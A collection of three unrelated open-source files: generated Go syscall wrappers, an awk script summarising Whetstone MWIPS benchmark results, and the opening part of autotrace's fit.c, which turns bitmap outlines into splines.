// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Stat(path string, stat *Stat_t) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Statfs(path string, stat *Statfs_t) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Symlink(path string, link string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(link)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(oldpath)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(newpath)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Sync() (err error) {
_, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Truncate(path string, length int64) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Umask(newmask int) (oldmask int) {
r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
oldmask = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Unlink(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Unlinkat(dirfd int, path string, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Unmount(path string, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func write(fd int, p []byte) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), 0, 0)
ret = uintptr(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func munmap(addr uintptr, length uintptr) (err error) {
_, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
|
{
"pile_set_name": "Github"
}
|
###########
# pgms/mwips.awk
#
# Measures MWIPS for Whetstone (self-timing, ignore "time" output)
#
# Created 1997.08.25 DCN
#
BEGIN { rsum = 0.000; r2sum = 0.000; r_product = 0.0000;
iter = 0; Test=""; SubTest=""; secs = 10.00; secs_sum = 0.00;
}
/TEST\|/ { split($0, junk,"|");
Test=junk[2];
}
/FLAVOR\|/ { split($0, junk,"|");
flavor=junk[2] ;
}
/^MWIPS/ {
loopspersec=$2;
secs=$3;
secs_sum += secs;
loops=secs*loopstmp;
iter ++;
rsum += loopspersec;
r2sum += loopspersec*loopspersec;
r_product += log(loopspersec);
}
END {
if (iter > 0) {
# TestName|Sample(seconds)|units|ArithMean|GeoMean|DataPoints
printf("%s|%.1f|MWIPS|%.1f|%.1f|%d\n",Test,secs_sum/iter,rsum/iter,exp(r_product/iter),iter)
}
else {
printf("%s| no measured results|\n",Test);
}
}
|
{
"pile_set_name": "Github"
}
|
/* fit.c: turn a bitmap representation of a curve into a list of splines.
Some of the ideas, but not the code, comes from the Phoenix thesis.
See README for the reference.
The code was partially derived from limn.
Copyright (C) 1992 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif /* Def: HAVE_CONFIG_H */
#include "autotrace.h"
#include "fit.h"
#include "logreport.h"
#include "spline.h"
#include "vector.h"
#include "curve.h"
#include "pxl-outline.h"
#include "epsilon-equal.h"
#include "xstd.h"
#include <math.h>
#ifndef FLT_MAX
#include <limits.h>
#include <float.h>
#endif
#ifndef FLT_MIN
#include <limits.h>
#include <float.h>
#endif
#include <string.h>
#include <assert.h>
#define SQUARE(x) ((x) * (x))
#define CUBE(x) ((x) * (x) * (x))
/* We need to manipulate lists of array indices. */
typedef struct index_list {
unsigned *data;
unsigned length;
} index_list_type;
/* The usual accessor macros. */
#define GET_INDEX(i_l, n) ((i_l).data[n])
#define INDEX_LIST_LENGTH(i_l) ((i_l).length)
#define GET_LAST_INDEX(i_l) ((i_l).data[INDEX_LIST_LENGTH (i_l) - 1])
static void append_index(index_list_type *, unsigned);
static void free_index_list(index_list_type *);
static index_list_type new_index_list(void);
static void remove_adjacent_corners(index_list_type *, unsigned, gboolean, at_exception_type * exception);
static void change_bad_lines(spline_list_type *, fitting_opts_type *);
static void filter(curve_type, fitting_opts_type *);
static void find_vectors(unsigned, pixel_outline_type, vector_type *, vector_type *, unsigned);
static index_list_type find_corners(pixel_outline_type, fitting_opts_type *, at_exception_type * exception);
static gfloat find_error(curve_type, spline_type, unsigned *, at_exception_type * exception);
static vector_type find_half_tangent(curve_type, gboolean start, unsigned *, unsigned);
static void find_tangent(curve_type, gboolean, gboolean, unsigned);
static spline_type fit_one_spline(curve_type, at_exception_type * exception);
static spline_list_type *fit_curve(curve_type, fitting_opts_type *, at_exception_type * exception);
static spline_list_type fit_curve_list(curve_list_type, fitting_opts_type *, at_distance_map *, at_exception_type * exception);
static spline_list_type *fit_with_least_squares(curve_type, fitting_opts_type *, at_exception_type * exception);
static spline_list_type *fit_with_line(curve_type);
static void remove_knee_points(curve_type, gboolean);
static void set_initial_parameter_values(curve_type);
static gboolean spline_linear_enough(spline_type *, curve_type, fitting_opts_type *);
static curve_list_array_type split_at_corners(pixel_outline_list_type, fitting_opts_type *, at_exception_type * exception);
static at_coord real_to_int_coord(at_real_coord);
static gfloat distance(at_real_coord, at_real_coord);
/* Get a new set of fitting options */
fitting_opts_type new_fitting_opts(void)
{
fitting_opts_type fitting_opts;
fitting_opts.background_color = NULL;
fitting_opts.charcode = 0;
fitting_opts.color_count = 0;
fitting_opts.corner_always_threshold = (gfloat) 60.0;
fitting_opts.corner_surround = 4;
fitting_opts.corner_threshold = (gfloat) 100.0;
fitting_opts.error_threshold = (gfloat) 2.0;
fitting_opts.filter_iterations = 4;
fitting_opts.line_reversion_threshold = (gfloat) .01;
fitting_opts.line_threshold = (gfloat) 1.0;
fitting_opts.remove_adjacent_corners = FALSE;
fitting_opts.tangent_surround = 3;
fitting_opts.despeckle_level = 0;
fitting_opts.despeckle_tightness = 2.0;
fitting_opts.noise_removal = (gfloat) 0.99;
fitting_opts.centerline = FALSE;
fitting_opts.preserve_width = FALSE;
fitting_opts.width_weight_factor = 6.0;
return (fitting_opts);
}
/* The top-level call that transforms the list of pixels in the outlines
of the original character to a list of spline lists fitted to those
pixels. */
spline_list_array_type fitted_splines(pixel_outline_list_type pixel_outline_list, fitting_opts_type * fitting_opts, at_distance_map * dist, unsigned short width, unsigned short height, at_exception_type * exception, at_progress_func notify_progress, gpointer progress_data, at_testcancel_func test_cancel, gpointer testcancel_data)
{
unsigned this_list;
spline_list_array_type char_splines = new_spline_list_array();
curve_list_array_type curve_array = split_at_corners(pixel_outline_list,
fitting_opts,
exception);
char_splines.centerline = fitting_opts->centerline;
char_splines.preserve_width = fitting_opts->preserve_width;
char_splines.width_weight_factor = fitting_opts->width_weight_factor;
if (fitting_opts->background_color)
char_splines.background_color = at_color_copy(fitting_opts->background_color);
else
char_splines.background_color = NULL;
/* Set dummy values. Real value is set in upper context. */
char_splines.width = width;
char_splines.height = height;
for (this_list = 0; this_list < CURVE_LIST_ARRAY_LENGTH(curve_array); this_list++) {
spline_list_type curve_list_splines;
curve_list_type curves = CURVE_LIST_ARRAY_ELT(curve_array, this_list);
if (notify_progress)
notify_progress((((gfloat) this_list) / ((gfloat) CURVE_LIST_ARRAY_LENGTH(curve_array) * (gfloat) 3.0) + (gfloat) 0.333), progress_data);
if (test_cancel && test_cancel(testcancel_data))
goto cleanup;
LOG("\nFitting curve list #%u:\n", this_list);
curve_list_splines = fit_curve_list(curves, fitting_opts, dist, exception);
if (at_exception_got_fatal(exception)) {
if (char_splines.background_color)
at_color_free(char_splines.background_color);
goto cleanup;
}
curve_list_splines.clockwise = curves.clockwise;
memcpy(&(curve_list_splines.color), &(O_LIST_OUTLINE(pixel_outline_list, this_list).color), sizeof(at_color));
append_spline_list(&char_splines, curve_list_splines);
}
cleanup:
free_curve_list_array(&curve_array, notify_progress, progress_data);
return char_splines;
}
/* Fit the list of curves CURVE_LIST to a list of splines, and return
it. CURVE_LIST represents a single closed paths, e.g., either the
inside or outside outline of an `o'. */
static spline_list_type fit_curve_list(curve_list_type curve_list, fitting_opts_type * fitting_opts, at_distance_map * dist, at_exception_type * exception)
{
curve_type curve;
unsigned this_curve, this_spline;
unsigned curve_list_length = CURVE_LIST_LENGTH(curve_list);
spline_list_type curve_list_splines = empty_spline_list();
curve_list_splines.open = curve_list.open;
/* Remove the extraneous ``knee'' points before filtering. Since the
corners have already been found, we don't need to worry about
removing a point that should be a corner. */
LOG("\nRemoving knees:\n");
for (this_curve = 0; this_curve < curve_list_length; this_curve++) {
LOG("#%u:", this_curve);
remove_knee_points(CURVE_LIST_ELT(curve_list, this_curve), CURVE_LIST_CLOCKWISE(curve_list));
}
if (dist != NULL) {
unsigned this_point;
unsigned height = dist->height;
for (this_curve = 0; this_curve < curve_list_length; this_curve++) {
curve = CURVE_LIST_ELT(curve_list, this_curve);
for (this_point = 0; this_point < CURVE_LENGTH(curve); this_point++) {
unsigned x, y;
float width, w;
at_real_coord *coord = &CURVE_POINT(curve, this_point);
x = (unsigned)(coord->x);
y = height - (unsigned)(coord->y) - 1;
/* Each (x, y) is a point on the skeleton of the curve, which
might be offset from the TRUE centerline, where the width
is maximal. Therefore, use as the local line width the
maximum distance over the neighborhood of (x, y). */
width = dist->d[y][x];
if (y >= 1) {
if ((w = dist->d[y - 1][x]) > width)
width = w;
if (x >= 1) {
if ((w = dist->d[y][x - 1]) > width)
width = w;
if ((w = dist->d[y - 1][x - 1]) > width)
width = w;
}
if (x + 1 < dist->width) {
if ((w = dist->d[y][x + 1]) > width)
width = w;
if ((w = dist->d[y - 1][x + 1]) > width)
width = w;
}
}
if (y + 1 < height) {
if ((w = dist->d[y + 1][x]) > width)
width = w;
if (x >= 1 && (w = dist->d[y + 1][x - 1]) > width)
width = w;
if (x + 1 < dist->width && (w = dist->d[y + 1][x + 1]) > width)
width = w;
}
coord->z = width * (fitting_opts->width_weight_factor);
}
}
}
/* We filter all the curves in CURVE_LIST at once; otherwise, we would
look at an unfiltered curve when computing tangents. */
LOG("\nFiltering curves:\n");
for (this_curve = 0; this_curve < curve_list.length; this_curve++) {
LOG("#%u: ", this_curve);
filter(CURVE_LIST_ELT(curve_list, this_curve), fitting_opts);
}
/* Make the first point in the first curve also be the last point in
the last curve, so the fit to the whole curve list will begin and
end at the same point. This may cause slight errors in computing
the tangents and t values, but it's worth it for the continuity.
Of course we don't want to do this if the two points are already
the same, as they are if the curve is cyclic. (We don't append it
earlier, in `split_at_corners', because that confuses the
filtering.) Finally, we can't append the point if the curve is
exactly three points long, because we aren't adding any more data,
and three points isn't enough to determine a spline. Therefore,
the fitting will fail. */
curve = CURVE_LIST_ELT(curve_list, 0);
if (CURVE_CYCLIC(curve) == TRUE)
append_point(curve, CURVE_POINT(curve, 0));
/* Finally, fit each curve in the list to a list of splines. */
for (this_curve = 0; this_curve < curve_list_length; this_curve++) {
spline_list_type *curve_splines;
curve_type current_curve = CURVE_LIST_ELT(curve_list, this_curve);
LOG("\nFitting curve #%u:\n", this_curve);
curve_splines = fit_curve(current_curve, fitting_opts, exception);
if (at_exception_got_fatal(exception))
goto cleanup;
else if (curve_splines == NULL) {
LOG("Could not fit curve #%u", this_curve);
at_exception_warning(exception, "Could not fit curve");
} else {
LOG("Fitted splines for curve #%u:\n", this_curve);
for (this_spline = 0; this_spline < SPLINE_LIST_LENGTH(*curve_splines); this_spline++) {
LOG(" %u: ", this_spline);
if (logging)
print_spline(SPLINE_LIST_ELT(*curve_splines, this_spline));
}
/* After fitting, we may need to change some would-be lines
back to curves, because they are in a list with other
curves. */
change_bad_lines(curve_splines, fitting_opts);
concat_spline_lists(&curve_list_splines, *curve_splines);
free_spline_list(*curve_splines);
free(curve_splines);
}
}
if (logging) {
LOG("\nFitted splines are:\n");
for (this_spline = 0; this_spline < SPLINE_LIST_LENGTH(curve_list_splines); this_spline++) {
LOG(" %u: ", this_spline);
print_spline(SPLINE_LIST_ELT(curve_list_splines, this_spline));
}
}
cleanup:
return curve_list_splines;
}
/* Transform a set of locations to a list of splines (the fewer the
better). We are guaranteed that CURVE does not contain any corners.
We return NULL if we cannot fit the points at all. */
static spline_list_type *fit_curve(curve_type curve, fitting_opts_type * fitting_opts, at_exception_type * exception)
{
spline_list_type *fittedsplines;
if (CURVE_LENGTH(curve) < 2) {
LOG("Tried to fit curve with less than two points");
at_exception_warning(exception, "Tried to fit curve with less than two points");
return NULL;
}
/* Do we have enough points to fit with a spline? */
fittedsplines = CURVE_LENGTH(curve) < 4 ? fit_with_line(curve)
: fit_with_least_squares(curve, fitting_opts, exception);
return fittedsplines;
}
/* As mentioned above, the first step is to find the corners in
PIXEL_LIST, the list of points. (Presumably we can't fit a single
spline around a corner.) The general strategy is to look through all
the points, remembering which we want to consider corners. Then go
through that list, producing the curve_list. This is dictated by the
fact that PIXEL_LIST does not necessarily start on a corner---it just
starts at the character's first outline pixel, going left-to-right,
top-to-bottom. But we want all our splines to start and end on real
corners.
For example, consider the top of a capital `C' (this is in cmss20):
x
***********
******************
PIXEL_LIST will start at the pixel below the `x'. If we considered
this pixel a corner, we would wind up matching a very small segment
from there to the end of the line, probably as a straight line, which
is certainly not what we want.
PIXEL_LIST has one element for each closed outline on the character.
To preserve this information, we return an array of curve_lists, one
element (which in turn consists of several curves, one between each
pair of corners) for each element in PIXEL_LIST. */
static curve_list_array_type split_at_corners(pixel_outline_list_type pixel_list, fitting_opts_type * fitting_opts, at_exception_type * exception)
{
unsigned this_pixel_o;
curve_list_array_type curve_array = new_curve_list_array();
LOG("\nFinding corners:\n");
for (this_pixel_o = 0; this_pixel_o < O_LIST_LENGTH(pixel_list); this_pixel_o++) {
curve_type curve, first_curve;
index_list_type corner_list;
unsigned p, this_corner;
curve_list_type curve_list = new_curve_list();
pixel_outline_type pixel_o = O_LIST_OUTLINE(pixel_list, this_pixel_o);
CURVE_LIST_CLOCKWISE(curve_list) = O_CLOCKWISE(pixel_o);
curve_list.open = pixel_o.open;
LOG("#%u:", this_pixel_o);
/* If the outline does not have enough points, we can't do
anything. The endpoints of the outlines are automatically
corners. We need at least `corner_surround' more pixels on
either side of a point before it is conceivable that we might
want another corner. */
if (O_LENGTH(pixel_o) > fitting_opts->corner_surround * 2 + 2)
corner_list = find_corners(pixel_o, fitting_opts, exception);
else {
int surround;
if ((surround = (int)(O_LENGTH(pixel_o) - 3) / 2) >= 2) {
unsigned save_corner_surround = fitting_opts->corner_surround;
fitting_opts->corner_surround = surround;
corner_list = find_corners(pixel_o, fitting_opts, exception);
fitting_opts->corner_surround = save_corner_surround;
} else {
corner_list.length = 0;
corner_list.data = NULL;
}
}
/* Remember the first curve so we can make it be the `next' of the
last one. (And vice versa.) */
first_curve = new_curve();
curve = first_curve;
if (corner_list.length == 0) { /* No corners. Use all of the pixel outline as the curve. */
for (p = 0; p < O_LENGTH(pixel_o); p++)
append_pixel(curve, O_COORDINATE(pixel_o, p));
if (curve_list.open == TRUE)
CURVE_CYCLIC(curve) = FALSE;
else
CURVE_CYCLIC(curve) = TRUE;
} else { /* Each curve consists of the points between (inclusive) each pair
of corners. */
for (this_corner = 0; this_corner < corner_list.length - 1; this_corner++) {
curve_type previous_curve = curve;
unsigned corner = GET_INDEX(corner_list, this_corner);
unsigned next_corner = GET_INDEX(corner_list, this_corner + 1);
for (p = corner; p <= next_corner; p++)
append_pixel(curve, O_COORDINATE(pixel_o, p));
append_curve(&curve_list, curve);
curve = new_curve();
NEXT_CURVE(previous_curve) = curve;
PREVIOUS_CURVE(curve) = previous_curve;
}
/* The last curve is different. It consists of the points
(inclusive) between the last corner and the end of the list,
and the beginning of the list and the first corner. */
for (p = GET_LAST_INDEX(corner_list); p < O_LENGTH(pixel_o); p++)
append_pixel(curve, O_COORDINATE(pixel_o, p));
if (!pixel_o.open) {
for (p = 0; p <= GET_INDEX(corner_list, 0); p++)
append_pixel(curve, O_COORDINATE(pixel_o, p));
} else {
curve_type last_curve = PREVIOUS_CURVE(curve);
PREVIOUS_CURVE(first_curve) = NULL;
if (last_curve)
NEXT_CURVE(last_curve) = NULL;
}
}
LOG(" [%u].\n", corner_list.length);
free_index_list(&corner_list);
/* Add `curve' to the end of the list, updating the pointers in
the chain. */
append_curve(&curve_list, curve);
NEXT_CURVE(curve) = first_curve;
PREVIOUS_CURVE(first_curve) = curve;
/* And now add the just-completed curve list to the array. */
append_curve_list(&curve_array, curve_list);
} /* End of considering each pixel outline. */
return curve_array;
}
/* We consider a point to be a corner if (1) the angle defined by the
`corner_surround' points coming into it and going out from it is less
than `corner_threshold' degrees, and no point within
`corner_surround' points has a smaller angle; or (2) the angle is less
than `corner_always_threshold' degrees.
Because of the different cases, it is convenient to have the
following macro to append a corner on to the list we return. The
character argument C is simply so that the different cases can be
distinguished in the log file. */
#define APPEND_CORNER(index, angle, c) \
do \
{ \
append_index (&corner_list, index); \
LOG (" (%d,%d)%c%.3f", \
O_COORDINATE (pixel_outline, index).x, \
O_COORDINATE (pixel_outline, index).y, \
c, angle); \
} \
while (0)
static index_list_type find_corners(pixel_outline_type pixel_outline, fitting_opts_type * fitting_opts, at_exception_type * exception)
{
unsigned p, start_p, end_p;
index_list_type corner_list = new_index_list();
start_p = 0;
end_p = O_LENGTH(pixel_outline) - 1;
if (pixel_outline.open) {
if (end_p <= fitting_opts->corner_surround * 2)
return corner_list;
APPEND_CORNER(0, 0.0, '@');
start_p += fitting_opts->corner_surround;
end_p -= fitting_opts->corner_surround;
}
/* Consider each pixel on the outline in turn. */
for (p = start_p; p <= end_p; p++) {
gfloat corner_angle;
vector_type in_vector, out_vector;
/* Check if the angle is small enough. */
find_vectors(p, pixel_outline, &in_vector, &out_vector, fitting_opts->corner_surround);
corner_angle = Vangle(in_vector, out_vector, exception);
if (at_exception_got_fatal(exception))
goto cleanup;
if (fabs(corner_angle) <= fitting_opts->corner_threshold) {
/* We want to keep looking, instead of just appending the
first pixel we find with a small enough angle, since there
might be another corner within `corner_surround' pixels, with
a smaller angle. If that is the case, we want that one. */
gfloat best_corner_angle = corner_angle;
unsigned best_corner_index = p;
index_list_type equally_good_list = new_index_list();
/* As we come into the loop, `p' is the index of the point
that has an angle less than `corner_angle'. We use `i' to
move through the pixels next to that, and `q' for moving
through the adjacent pixels to each `p'. */
unsigned q = p;
unsigned i = p + 1;
while (TRUE) {
/* Perhaps the angle is sufficiently small that we want to
consider this a corner, even if it's not the best
(unless we've already wrapped around in the search,
i.e., `q<i', in which case we have already added the
corner, and we don't want to add it again). We want to
do this check on the first candidate we find, as well
as the others in the loop, hence this comes before the
stopping condition. */
if (corner_angle <= fitting_opts->corner_always_threshold && q >= p)
APPEND_CORNER(q, corner_angle, '\\');
/* Exit the loop if we've looked at `corner_surround'
pixels past the best one we found, or if we've looked
at all the pixels. */
if (i >= best_corner_index + fitting_opts->corner_surround || i >= O_LENGTH(pixel_outline))
break;
/* Check the angle. */
q = i % O_LENGTH(pixel_outline);
find_vectors(q, pixel_outline, &in_vector, &out_vector, fitting_opts->corner_surround);
corner_angle = Vangle(in_vector, out_vector, exception);
if (at_exception_got_fatal(exception))
goto cleanup;
/* If we come across a corner that is just as good as the
best one, we should make it a corner, too. This
happens, for example, at the points on the `W' in some
typefaces, where the ``points'' are flat. */
if (epsilon_equal(corner_angle, best_corner_angle))
append_index(&equally_good_list, q);
else if (corner_angle < best_corner_angle) {
best_corner_angle = corner_angle;
/* We want to check `corner_surround' pixels beyond the
new best corner. */
i = best_corner_index = q;
free_index_list(&equally_good_list);
equally_good_list = new_index_list();
}
i++;
}
/* After we exit the loop, `q' is the index of the last point
we checked. We have already added the corner if
`best_corner_angle' is less than `corner_always_threshold'.
Again, if we've already wrapped around, we don't want to
add the corner again. */
if (best_corner_angle > fitting_opts->corner_always_threshold && best_corner_index >= p) {
unsigned j;
APPEND_CORNER(best_corner_index, best_corner_angle, '/');
for (j = 0; j < INDEX_LIST_LENGTH(equally_good_list); j++)
APPEND_CORNER(GET_INDEX(equally_good_list, j), best_corner_angle, '@');
}
free_index_list(&equally_good_list);
/* If we wrapped around in our search, we're done; otherwise,
we don't want the outer loop to look at the pixels that we
already looked at in searching for the best corner. */
p = (q < p) ? O_LENGTH(pixel_outline) : q;
} /* End of searching for the best corner. */
} /* End of considering each pixel. */
if (INDEX_LIST_LENGTH(corner_list) > 0)
/* We never want two corners next to each other, since the
only way to fit such a ``curve'' would be with a straight
line, which usually interrupts the continuity dreadfully. */
remove_adjacent_corners(&corner_list, O_LENGTH(pixel_outline) - (pixel_outline.open ? 2 : 1), fitting_opts->remove_adjacent_corners, exception);
cleanup:
return corner_list;
}
/* Return the difference vectors coming in and going out of the outline
OUTLINE at the point whose index is TEST_INDEX. In Phoenix,
Schneider looks at a single point on either side of the point we're
considering. That works for him because his points are not touching.
But our points *are* touching, and so we have to look at
`corner_surround' points on either side, to get a better picture of
the outline's shape. */
static void find_vectors(unsigned test_index, pixel_outline_type outline, vector_type * in, vector_type * out, unsigned corner_surround)
{
int i;
unsigned n_done;
at_coord candidate = O_COORDINATE(outline, test_index);
in->dx = in->dy = in->dz = 0.0;
out->dx = out->dy = out->dz = 0.0;
/* Add up the differences from p of the `corner_surround' points
before p. */
for (i = O_PREV(outline, test_index), n_done = 0; n_done < corner_surround; i = O_PREV(outline, i), n_done++)
*in = Vadd(*in, IPsubtract(O_COORDINATE(outline, i), candidate));
/* And the points after p. */
for (i = O_NEXT(outline, test_index), n_done = 0; n_done < corner_surround; i = O_NEXT(outline, i), n_done++)
*out = Vadd(*out, IPsubtract(O_COORDINATE(outline, i), candidate));
}
/* Remove adjacent points from the index list LIST. We do this by first
sorting the list and then running through it. Since these lists are
quite short, a straight selection sort (e.g., p.139 of the Art of
Computer Programming, vol.3) is good enough. LAST_INDEX is the index
of the last pixel on the outline, i.e., the next one is the first
pixel. We need this for checking the adjacency of the last corner.
We need to do this because the adjacent corners turn into
two-pixel-long curves, which can only be fit by straight lines. */
static void remove_adjacent_corners(index_list_type * list, unsigned last_index, gboolean remove_adj_corners, at_exception_type * exception)
{
unsigned j;
unsigned last;
index_list_type new_list = new_index_list();
for (j = INDEX_LIST_LENGTH(*list) - 1; j > 0; j--) {
unsigned search;
unsigned temp;
/* Find maximal element below `j'. */
unsigned max_index = j;
for (search = 0; search < j; search++)
if (GET_INDEX(*list, search) > GET_INDEX(*list, max_index))
max_index = search;
if (max_index != j) {
temp = GET_INDEX(*list, j);
GET_INDEX(*list, j) = GET_INDEX(*list, max_index);
GET_INDEX(*list, max_index) = temp;
/* xx -- really have to sort? */
LOG("needed exchange");
at_exception_warning(exception, "needed exchange");
}
}
/* The list is sorted. Now look for adjacent entries. Each time
through the loop we insert the current entry and, if appropriate,
the next entry. */
for (j = 0; j < INDEX_LIST_LENGTH(*list) - 1; j++) {
unsigned current = GET_INDEX(*list, j);
unsigned next = GET_INDEX(*list, j + 1);
/* We should never have inserted the same element twice. */
/* assert (current != next); */
if ((remove_adj_corners) && ((next == current + 1) || (next == current)))
j++;
append_index(&new_list, current);
}
/* Don't append the last element if it is 1) adjacent to the previous
one; or 2) adjacent to the very first one. */
last = GET_LAST_INDEX(*list);
if (INDEX_LIST_LENGTH(new_list) == 0 || !(last == GET_LAST_INDEX(new_list) + 1 || (last == last_index && GET_INDEX(*list, 0) == 0)))
append_index(&new_list, last);
free_index_list(list);
*list = new_list;
}
/* A ``knee'' is a point which forms a ``right angle'' with its
predecessor and successor. See the documentation (the `Removing
knees' section) for an example and more details.
The argument CLOCKWISE tells us which direction we're moving. (We
can't figure that information out from just the single segment with
which we are given to work.)
We should never find two consecutive knees.
Since the first and last points are corners (unless the curve is
cyclic), it doesn't make sense to remove those. */
/* This evaluates to TRUE if the vector V is zero in one direction and
nonzero in the other. */
#define ONLY_ONE_ZERO(v) \
(((v).dx == 0.0 && (v).dy != 0.0) || ((v).dy == 0.0 && (v).dx != 0.0))
/* There are four possible cases for knees, one for each of the four
corners of a rectangle; and then the cases differ depending on which
direction we are going around the curve. The tests are listed here
in the order of upper left, upper right, lower right, lower left.
Perhaps there is some simple pattern to the
clockwise/counterclockwise differences, but I don't see one. */
#define CLOCKWISE_KNEE(prev_delta, next_delta) \
((prev_delta.dx == -1.0 && next_delta.dy == 1.0) \
|| (prev_delta.dy == 1.0 && next_delta.dx == 1.0) \
|| (prev_delta.dx == 1.0 && next_delta.dy == -1.0) \
|| (prev_delta.dy == -1.0 && next_delta.dx == -1.0))
#define COUNTERCLOCKWISE_KNEE(prev_delta, next_delta) \
((prev_delta.dy == 1.0 && next_delta.dx == -1.0) \
|| (prev_delta.dx == 1.0 && next_delta.dy == 1.0) \
|| (prev_delta.dy == -1.0 && next_delta.dx == 1.0) \
|| (prev_delta.dx == -1.0 && next_delta.dy == -1.0))
static void remove_knee_points(curve_type curve, gboolean clockwise)
{
unsigned i;
unsigned offset = (CURVE_CYCLIC(curve) == TRUE) ? 0 : 1;
at_coord previous = real_to_int_coord(CURVE_POINT(curve, CURVE_PREV(curve, offset)));
curve_type trimmed_curve = copy_most_of_curve(curve);
if (CURVE_CYCLIC(curve) == FALSE)
append_pixel(trimmed_curve, real_to_int_coord(CURVE_POINT(curve, 0)));
